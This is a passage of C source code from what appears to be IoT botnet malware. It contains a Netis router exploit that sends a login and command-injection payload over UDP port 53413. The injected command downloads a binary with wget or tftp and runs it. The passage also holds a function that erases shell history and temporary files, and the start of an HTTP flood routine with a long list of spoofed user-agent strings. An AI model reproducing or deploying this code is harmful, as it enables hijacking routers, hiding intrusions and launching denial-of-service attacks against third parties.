  1965. socklen_t addr_size;
  1966. netisSocket = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1967. serverAddr.sin_family = AF_INET;
  1968. serverAddr.sin_port = htons(53413);
  1969. serverAddr.sin_addr.s_addr = NetisRanges();
  1970. addr_size = sizeof serverAddr;
  1971. memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
  1972. char* LoginPayload = "AAAAAAAAnetcore\x00";
  1973. char* CommandPayload = "AA\x00\x00AAAA cd /var/; rm -rf sshd; wget http://0.0.0.0/sshd || tftp -r sshd -g 0.0.0.0; chmod 777 sshd; ./sshd; rm -rf sshd\x00";
  1974. sendto(netisSocket, LoginPayload, strlen(LoginPayload), 0, (struct sockaddr_in *) &serverAddr, sizeof(serverAddr));
  1975. sendto(netisSocket, CommandPayload, strlen(CommandPayload), 0, (struct sockaddr_in *) &serverAddr, sizeof(serverAddr));
  1976. close(netisSocket);
  1977. }
  1978. }
  1979.  
  1980.  
  1981. void ClearHistory()
  1982. {
  1983. system("history -c;history -w");
  1984. system("cd /root;rm -rf .bash_history");
  1985. system("cd /var/tmp; rm -f *");
  1986. }
  1987.  
  1988. // HTTP Flood
  1989. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  1990. const char *useragents[] = {
  1991. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1992. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1993. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1994. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1995. "Opera/6.04 (Windows XP; U) [en]",
  1996. "Opera/9.99 (X11; U; sk)",
  1997. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1998. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1999. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2000. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2001. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2002. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2003. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2004. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2005. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2006. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2007. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2008. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2009. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2010. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2011. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2012. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2013. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  2014. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2015. "wii libnup/1.0",
  2016. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  2017. "PSP (PlayStation Portable); 2.00",
  2018. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2019. "Doris/1.15 [en] (Symbian)",
  2020. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2021. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  2022. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2023. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  2024. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  2025. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  2026. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2027. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  2028. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  2029. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  2030. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  2031. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2032. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2033. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  2034. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2035. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  2036. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  2037. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  2038. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2039. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2040. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2041. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2042. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2043. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2044. "Opera/6.04 (Windows XP; U) [en]",
  2045. "Opera/9.99 (X11; U; sk)",
  2046. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2047. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2048. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2049. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2050. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2051. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2052. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2053. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2054. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2055. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 "
  2056. "Firefox/3.5.3",
  2057. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 "
  2058. "Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2059. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) "
  2060. "Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2061. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) "
  2062. "Gecko/20090718 Firefox/3.5.1",
  2063. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 "
  2064. "(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  2065. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; "
  2066. "SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  2067. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; "
  2068. ".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR "
  2069. "3.0.30729)",
  2070. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; "
  2071. "Trident/4.0)",
  2072. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; "
  2073. ".NET CLR 2.0.50727; InfoPath.2)",
  2074. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  2075. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2076. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2077. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) "
  2078. "Chrome/41.0.2228.0 Safari/537.36",
  2079. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2080. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 "
  2081. "Version/12.16",
  2082. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like "
  2083. "Gecko",
  2084. "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) "
  2085. "like Gecko",
  2086. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 "
  2087. "(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
  2088. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  2089. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  2090. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  2091. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
  2092. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  2093. "zspider/0.9-dev http://feedback.redkolibri.com/",
  2094. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2095. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2096. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  2097. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2098. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2099. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2100. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  2101. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  2102. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  2103. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  2104. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  2105. "TheSuBot/0.2 (www.thesubot.de)",
  2106. "TheSuBot/0.1 (www.thesubot.de)",
  2107. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  2108. "FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  2109. "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  2110. "FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  2111. "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  2112. "FAST-WebCrawler/3.x Multimedia",
  2113. "Mozilla/4.0 (compatible: FDSE robot)",
  2114. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2115. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2116. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2117. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2118. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2119. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  2120. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  2121. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  2122. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  2123. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  2124. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  2125. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  2126. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  2127. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2128. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2129. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2130. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  2131. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  2132. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  2133. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  2134. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  2135. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  2136. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  2137. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  2138. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  2139. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  2140. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  2141. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  2142. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  2143. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  2144. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  2145. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  2146. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  2147. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  2148. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  2149. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
  2150. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  2151. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  2152. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  2153. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  2154. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  2155. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  2156. "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
  2157. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  2158. "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  2159. "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  2160. "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  2161. "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  2162. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  2163. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  2164. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  2165. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  2166. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  2167. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  2168. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  2169. "Opera/9.20 (Windows NT 6.0; U; en)",
  2170. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  2171. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  2172. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  2173. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  2174. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  2175. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  2176. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  2177. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  2178. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  2179. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  2180. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  2181. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  2182. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  2183. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  2184. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  2185. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  2186. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  2187. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  2188. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  2189. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2190. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  2191. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  2192. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2193. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2194. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2195. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2196. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2197. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2198. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2199. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2200. "wii libnup/1.0",
  2201. "PSP (PlayStation Portable); 2.00",
  2202. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2203. "Doris/1.15 [en] (Symbian)",
  2204. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2205. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  2206. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2207. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  2208. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  2209. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  2210. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2211. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  2212. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  2213. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  2214. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  2215. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2216. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2217. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  2218. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2219. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  2220. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  2221. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  2222. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  2223. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  2224. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  2225. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  2226. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  2227. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  2228. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  2229. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2230. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2231. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2232. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2233. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2234. "Opera/6.04 (Windows XP; U) [en]",
  2235. "Opera/9.99 (X11; U; sk)",
  2236. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2237. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2238. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2239. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2240. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2241. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2242. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2243. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2244. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2245. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2246. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2247. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2248. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2249. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2250. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2251. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2252. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  2253. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2254. "wii libnup/1.0",
